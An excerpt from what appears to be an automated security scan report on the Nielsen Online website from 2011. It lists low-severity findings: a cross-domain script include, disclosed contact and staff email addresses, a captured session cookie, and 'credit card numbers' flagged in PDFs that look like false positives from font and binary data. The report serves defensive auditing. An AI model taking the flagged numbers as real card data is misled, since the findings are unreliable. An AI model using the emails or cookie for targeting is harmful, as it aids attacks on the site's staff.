If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

7.1. http://www.nielsen-online.com/about_privacy.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/about_privacy.jsp

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

GET /about_privacy.jsp HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:37 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 27431

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Nielsen Online
...[SNIP]...
</script>
<script language="JavaScript" src="//secure-us.imrworldwide.com/v53.js">
</script>
...[SNIP]...

7.2. http://www.nielsen-online.com/contact.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/contact.jsp

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

GET /contact.jsp HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:26 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 24435

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <title
...[SNIP]...
</script>
<script language="JavaScript" src="//secure-us.imrworldwide.com/v53.js">
</script>
...[SNIP]...

7.3. http://www.nielsen-online.com/intl.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/intl.jsp

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.4. http://www.nielsen-online.com/login/sl_adi.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_adi.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.5. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.6. http://www.nielsen-online.com/login/sl_ca.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ca.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.7. http://www.nielsen-online.com/login/sl_hso.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_hso.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.8. http://www.nielsen-online.com/login/sl_jpbz.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_jpbz.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.9. http://www.nielsen-online.com/login/sl_mki.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_mki.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.10. http://www.nielsen-online.com/login/sl_mvw.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_mvw.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.11. http://www.nielsen-online.com/login/sl_scs.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_scs.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.12. http://www.nielsen-online.com/login/sl_sur.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_sur.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.13. http://www.nielsen-online.com/login/sl_vc.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_vc.htm

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

Response

7.14. http://www.nielsen-online.com/press.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/press.jsp

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

GET /press.jsp HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:23 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 34855

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>


   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <title>Nielsen O
...[SNIP]...
</script>
<script language="JavaScript" src="//secure-us.imrworldwide.com/v53.js">
</script>
...[SNIP]...

7.15. http://www.nielsen-online.com/resources.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/resources.jsp

Issue detail

The response dynamically includes the following script from another domain:

http://secure-us.imrworldwide.com/v53.js

Request

GET /resources.jsp HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:23 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 19938

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <title
...[SNIP]...
</script>
<script language="JavaScript" src="//secure-us.imrworldwide.com/v53.js">
</script>
...[SNIP]...

8. Email addresses disclosed previous next
There are 15 instances of this issue:

/about_privacy.jsp
/contact.jsp
/intlpage.html
/login.jsp
/login/sl_adi.htm
/login/sl_ari.htm
/login/sl_ca.htm
/login/sl_hso.htm
/login/sl_jpbz.htm
/login/sl_mki.htm
/login/sl_mvw.htm
/login/sl_scs.htm
/login/sl_sur.htm
/login/sl_vc.htm
/resources.jsp

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

8.1. http://www.nielsen-online.com/about_privacy.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/about_privacy.jsp

Issue detail

The following email addresses were disclosed in the response:

privacy@netratings.com
webmaster@netratings.com

Request

GET /about_privacy.jsp HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:37 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 27431

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Nielsen Online
...[SNIP]...
<a href="mailto:webmaster@netratings.com?subject=Please%20change%20my%20information%20in%20your%20database">webmaster@netratings.com</a>
...[SNIP]...
<a href="mailto:privacy@netratings.com?subject=Privacy question submitted via the website">privacy@netratings.com</a>
...[SNIP]...

8.2. http://www.nielsen-online.com/contact.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/contact.jsp

Issue detail

The following email addresses were disclosed in the response:

InformationUK@nielsen.com
agutjahr@netratings.com
enquiries.au@nielsen.com
informationUK@nielsen.com
pr.us@nielsen.com
pr_uk@netratings.com
unsubscribe@netratings.com

Request

GET /contact.jsp?section=con_all HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

8.3. http://www.nielsen-online.com/intlpage.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/intlpage.html

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

GET /intlpage.html HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:05:53 GMT
ETag: W/"5636-1298904028000"
Last-Modified: Mon, 28 Feb 2011 14:40:28 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 5636

<html>
<head>

<style type="text/css">
.text {
height:100%; background-color:#ffffff; margin:0px 0px 0px 45px; width:100%; text-align:left; color:#636363; font-size:12px; line-height:15px; font-f
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.4. http://www.nielsen-online.com/login.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login.jsp

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

GET /login.jsp HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
Referer: http://www.nielsen-online.com/intl.jsp?country=au
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:30 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Content-Length: 14019

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielsen NetRatings, BuzzMetrics and Mobile Client Logins</title>
<link href="http://www.nielsen-online.co
...[SNIP]...
<a target="_new" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.5. http://www.nielsen-online.com/login/sl_adi.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_adi.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:59 GMT
ETag: W/"15483-1259603104000"
Last-Modified: Mon, 30 Nov 2009 17:45:04 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15483

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_new" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.6. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:48 GMT
ETag: W/"22327-1286396371000"
Last-Modified: Wed, 06 Oct 2010 20:19:31 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 22327

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.7. http://www.nielsen-online.com/login/sl_ca.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ca.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:57 GMT
ETag: W/"15536-1259603108000"
Last-Modified: Mon, 30 Nov 2009 17:45:08 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15536

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.8. http://www.nielsen-online.com/login/sl_hso.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_hso.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:52 GMT
ETag: W/"14635-1259603109000"
Last-Modified: Mon, 30 Nov 2009 17:45:09 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 14635

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.9. http://www.nielsen-online.com/login/sl_jpbz.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_jpbz.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:45 GMT
ETag: W/"14855-1252614700000"
Last-Modified: Thu, 10 Sep 2009 20:31:40 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 14855

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.10. http://www.nielsen-online.com/login/sl_mki.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_mki.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:11:02 GMT
ETag: W/"15210-1259603111000"
Last-Modified: Mon, 30 Nov 2009 17:45:11 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15210

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.11. http://www.nielsen-online.com/login/sl_mvw.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_mvw.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:54 GMT
ETag: W/"14372-1280253474000"
Last-Modified: Tue, 27 Jul 2010 17:57:54 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 14372

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.12. http://www.nielsen-online.com/login/sl_scs.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_scs.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:56 GMT
ETag: W/"15008-1259603114000"
Last-Modified: Mon, 30 Nov 2009 17:45:14 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15008

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.13. http://www.nielsen-online.com/login/sl_sur.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_sur.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:11:03 GMT
ETag: W/"14985-1259603116000"
Last-Modified: Mon, 30 Nov 2009 17:45:16 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 14985

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.14. http://www.nielsen-online.com/login/sl_vc.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_vc.htm

Issue detail

The following email address was disclosed in the response:

netratingsclientservices@nielsen.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:46 GMT
ETag: W/"15665-1302017850000"
Last-Modified: Tue, 05 Apr 2011 15:37:30 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15665

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a href="mailto:netratingsclientservices@nielsen.com" target="_blank">
...[SNIP]...
<a target="_blank" href="mailto:netratingsclientservices@nielsen.com">
...[SNIP]...

8.15. http://www.nielsen-online.com/resources.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/resources.jsp

Issue detail

The following email addresses were disclosed in the response:

NetRatingsProductTrainingUS@nielsen.com
netratingsclientservices@nielsen.com

Request

GET /resources.jsp?section=training_form&nav=3 HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9. Credit card numbers disclosed previous next
There are 8 instances of this issue:

/downloads/@PlanLoginInstructions.pdf
/downloads/au/AdRelevance_AU.pdf
/downloads/au/AnalyticalServices_AU.pdf
/downloads/au/MarketIntelligence_AU.pdf
/downloads/au/NetView_AU.pdf
/downloads/au/SiteCensus_Streaming_AU.pdf
/pr/OCR_mr-mar11_FINAL.pdf
/pr/election_mobile_wrap-sep10.pdf

Issue background

Responses containing credit card numbers may not represent any security vulnerability - for example, a number may belong to the logged-in user to whom it is displayed. You should verify whether the numbers identified are actually valid credit card numbers and whether their disclosure within the application is appropriate.

9.1. http://www.nielsen-online.com/downloads/@PlanLoginInstructions.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/downloads/@PlanLoginInstructions.pdf

Issue detail

The following credit card number was disclosed in the response:

5565565565562780

Request

GET /downloads/@PlanLoginInstructions.pdf HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:37 GMT
ETag: W/"591709-1267815436000"
Last-Modified: Fri, 05 Mar 2010 18:57:16 GMT
Content-Type: application/pdf
Content-Length: 591709
Vary: Accept-Encoding
Connection: close

%PDF-1.4
%....
5 0 obj
<</Length 6 0 R/Filter /FlateDecode>>
stream
x..|e@......H..H....0*-..t..tI..H..J.R"(. !.%).J.......|7*.s..<.{......f...}...Zk..c...Ca`.........
.ljO..c.....+..v......>..6..K..
...[SNIP]...
</BaseFont/MRZSNE+Helvetica/FontDescriptor 10 0 R/Type/Font
/FirstChar 32/LastChar 122/Widths[
278 0 355 0 0 0 0 0 333 333 0 0 278 0 278 278
556 556 556 556 556 556 556 556 556 556 278 0 0 0 0 0
1015 667 0 722 722 667 611 778 0 278 0 0 0 0 722 778
667 0 0 667 611 0 0 0 0 667 0 0 0 0 0 0
0 556 556 500 556 556 278 556 556 222 0 500 222 833 556 556
556 0 333 500 278 556 500 722 500 500 5
...[SNIP]...

9.2. http://www.nielsen-online.com/downloads/au/AdRelevance_AU.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/downloads/au/AdRelevance_AU.pdf

Issue detail

The following credit card number was disclosed in the response:

5560556556500611

Request

GET /downloads/au/AdRelevance_AU.pdf HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:34 GMT
ETag: W/"178632-1178926741000"
Last-Modified: Fri, 11 May 2007 23:39:01 GMT
Content-Type: application/pdf
Content-Length: 178632
Vary: Accept-Encoding
Connection: close

%PDF-1.4%....
16 0 obj <</Linearized 1/L 178632/O 18/E 107591/N 2/T 178265/H [ 1156 296]>>endobj
xref
16 43
0000000016 00000 n
0000001452 00000 n
0000001532 00000 n
0000001770
...[SNIP]...
</Subtype/Type1/FontDescriptor 24 0 R/LastChar 121/Widths[222 0 0 0 0 0 0 0 0 0 0 0 222 333 222 278 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 444 0 611 611 556 611 500 444 611 611 278 0 0 444 833 667 611 556 0 556 556 500 611 556 889 0 556 0 0 0 0 0 0 0 500 500 500 500 500 0 500 500 278 0 500 278 722 500 500 500 0 333 444 278 500 444 778 0 444]/BaseFont/LFLFFC+Univers-CondensedBold/FirstChar 32/Encoding/WinAnsiEncoding/Typ
...[SNIP]...

9.3. http://www.nielsen-online.com/downloads/au/AnalyticalServices_AU.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/downloads/au/AnalyticalServices_AU.pdf

Issue detail

The following credit card number was disclosed in the response:

5560556556222000

Request

GET /downloads/au/AnalyticalServices_AU.pdf HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:35 GMT
ETag: W/"284224-1158000087000"
Last-Modified: Mon, 11 Sep 2006 18:41:27 GMT
Content-Type: application/pdf
Content-Length: 284224
Vary: Accept-Encoding
Connection: close

%PDF-1.6%....
28 0 obj <</Linearized 1/L 284224/O 30/E 136823/N 2/T 283617/H [ 1156 295]>>endobj
xref
28 43
0000000016 00000 n
0000001451 00000 n
0000001531 00000 n
0000002002
...[SNIP]...
